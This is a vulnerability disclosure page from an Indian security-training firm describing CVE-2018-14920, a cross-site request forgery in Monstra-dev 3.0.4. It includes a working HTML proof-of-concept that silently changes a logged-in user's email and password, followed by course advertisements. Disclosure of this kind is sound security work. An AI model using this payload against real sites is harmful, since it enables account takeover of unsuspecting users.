Monstra-Dev Cross Site Request Forgery | CVE-2018-14920

CVE-2018-14920 : Monstra-Dev Cross Site Request Forgery

CVE-2018-14920 discovered by Nainsi Gupta who is the member of ICSS. It is an achievement for Indian Cyber Security Solutions. The Exploit details are as follows:

 

Exploit Title: Monstra-Dev Cross Site Request Forgery

Date: 04-08-2018

CVE: CVE-2018-14920

Author Nainsi Gupta

Vendor Homepage: http://monstra.org/

Product Name: Monstra-dev

Version: 3.0.4

Tested on: Windows 10 (Firefox/Chrome)

 

 

Overview:

CSRF vulnerability in admin/user/edit in Monstra-dev 3.0.4 allows an attacker to take over a user account by modifying user’s data such as email and password

 

CVE-2018-14920

 

Proof Of Concept : CSRF

 

To exploit this vulnerability, victim need to be logged in at target site namely victim.com and visit crafted site made by attacker namely attacker.com. Then an authenticated POST request will be generated from victim browser and it will be submit to victim.com to modify user’s data to attacker desired value.

 

<html>
<!– CSRF PoC –>
<body>
<script>history.pushState(”, ”, ‘/’)</script>
<form action=”http://localhost/monstra-dev/users/2/edit” method=”POST”>
<input type=”hidden” name=”csrf” value=”7e172c2a395495f3e4c05912cb9f3f7f0ed8344e” />
<input type=”hidden” name=”user&#95;id” value=”2″ />
<input type=”hidden” name=”login” value=”guptanainisi95″ />
<input type=”hidden” name=”firstname” value=”sd” />
<input type=”hidden” name=”lastname” value=”jkh” />
<input type=”hidden” name=”email” value=”guptanainsi97&#64;gmail&#46;com” />
<input type=”hidden” name=”twitter” value=”” />
<input type=”hidden” name=”skype” value=”” />
<input type=”hidden” name=”about&#95;me” value=”ss” />
<input type=”hidden” name=”new&#95;password” value=”qaz” />
<input type=”hidden” name=”edit&#95;profile” value=”Save” />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>

 

 

 

Highest Selling Technical Courses of Indian Cyber Security Solutions:

Certified Ethical Hacker Training in Bhubaneswar

Ethical Hacking Training in Bhubaneswar

Certified Ethical Hacker Training in Bangalore

Ethical Hacking Training in Bangalore

Certified Ethical Hacker Training in Hyderabad

Ethical Hacking Training in Hyderabad

Python Training in Bangalore

Python Training in Hyderabad

Python Training in Bhubaneswar

Microsoft Azure Training in Hyderabad

Microsoft Azure Training in Bangalore

Microsoft Azure Training in Bhubaneswar

Networking Training in Bangalore

Networking Training in Hyderabad

Networking Training in Bhubaneswar

Advance Python Training in Hyderabad

Advance Python Training in Bangalore

Advance Python Training in Bhubaneswar

Amazon Web Services Training in Hyderabad

Amazon Web Services Training in Bangalore

Amazon Web Services Training in Bhubaneswar

Certified Ethical Hacker Certification – C | EH v10

Computer Forensic Training in Kolkata

Summer Training for CSE, IT, BCA & MCA Students 

Network Penetration Testing training

Ethical Hacking  training

Internet Of Things Training

Internet Of Things Training Hyderabad

Embedded System Training

Digital Marketing Training

Machine Learning Training

Python Programming training

Android Training in Bangalore

Android Training in Hyderabad

Android Training in Bhubaneswar

Diploma in Network Security Training

Android Development  training

Secured Coding in Java

Certified Network Penetration Tester 

Diploma in Web Application Security 

Certified Web Application Penetration Tester 

Certified Android Penetration Tester 

Certified Python Programming 

Advance Python Training 

Reverse Engineering Training  

Amazon Web Services Training  

VMware Training 

 

Cybersecurity services that can protect your company:

Web Security | Web Penetration Testing

Network Penetration Testing – NPT

Android App Penetration Testing

Source Web Development

Source Code Review

Android App Development

Digital Marketing Consultancy

Data Recovery

 

Other Location for Online Courses:

Bhubaneswar

Bangalore

Hyderabad

 

 

 

 


Show Buttons
Hide Buttons